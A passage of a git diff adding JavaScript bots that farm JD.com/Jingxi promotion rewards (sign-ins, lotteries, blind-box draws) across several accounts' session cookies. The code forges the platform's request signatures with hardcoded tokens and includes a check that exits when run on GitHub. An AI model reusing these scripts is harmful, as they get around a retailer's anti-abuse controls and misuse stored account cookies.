console.log('抽奖失败', res.errMsg ? res.errMsg : "") + } + + } else { + console.log('抽奖失败,返回数据为空') + } + coin -= 10 + await $.wait(5000) + } + await $.wait(2000) +} + +async function UserSignNew() { + let fn = "sign/UserSignNew"; + let stk = "sceneval,source"; + let params = { source: '' }; + let res = await api(fn, stk, params); + if (res) { + if (res.retCode == 60009) { + console.log('风控用户,不让玩') + rcsArr.push($.UserName); + return res; + } + console.log('签到', res.retCode == 0 ? "success" : "fail") + console.log('助力码', res.data.token) + shareCodes.push(res.data.token); + coin = res.data.pgAmountTotal + console.log('金币', coin) + } + return res; +} + + +function decrypturl(url, stk, params, appId = 10012) { + for (const [key, val] of Object.entries(params)) { + url += `&${key}=${val}` + } + url += '&h5st=' + decrypt(url, stk, appId) + return url +} + +function decrypt(url, stk, appId) { + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date().Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${appId}${random}`; + hash1 = CryptoJS.SHA512(str, $.Jxmctoken).toString(CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat(appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +async function api(fn, stk, params) { + let url = `https://m.jingxi.com/pgcenter`; + url = await decrypturl(`${url}/${fn}?sceneval=2&_stk=active,activedesc,sceneval&_ste=1&_=${Date.now()}&sceneval=2`, stk, params, 10012) + let myRequest = taskUrl(url); + return new Promise(async resolve => { + let rv = ""; + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data) + rv = data + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + resolve(); + } finally { + resolve(rv); + } + }) + }) +} + +function taskUrl(url) { + return { + url, + headers: { + "Host": "m.jingxi.com", + "Connection": "keep-alive", + "User-Agent": "jdpingou", + "Accept": "*/*", + "Referer": "https://st.jingxi.com/pingou/taskcenter/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": $.cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } + } + return new class { + constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { s = JSON.parse(this.getdata(t)) } catch { } + return s + } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { e = "" } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { this.logErr(t) } + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_nzmh.js b/jd_nzmh.js new file mode 100644 index 0000000..733b18a --- /dev/null +++ b/jd_nzmh.js @@ -0,0 +1,293 @@ +/* +女装盲盒 +活动时间:2021-3-1至2021-3-31 +活动地址:https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html +活动入口:京东app-女装馆-赢京豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#女装盲盒 +35 1,23 * * * https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "35 1,23 * * *" script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js,tag=女装盲盒 + +===============Surge================= +女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js + +============小火箭========= +女装盲盒 = type=cron,script-path=https://raw.githubusercontent.com/222222/sync/jd_scripts/jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('女装盲盒抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('女装盲盒\n' + + '活动时间:2021-3-1至2021-3-31\n' + + '活动地址:https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await jdMh('https://anmp.jd.com/babelDiy/Zeus/3z12ngsd27UR1KfRqdMrMSSg3uxg/index.html') + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`url:${url}`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.errcode === 8004) { + console.log(`任务完成失败,无效任务ID`) + } else { + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 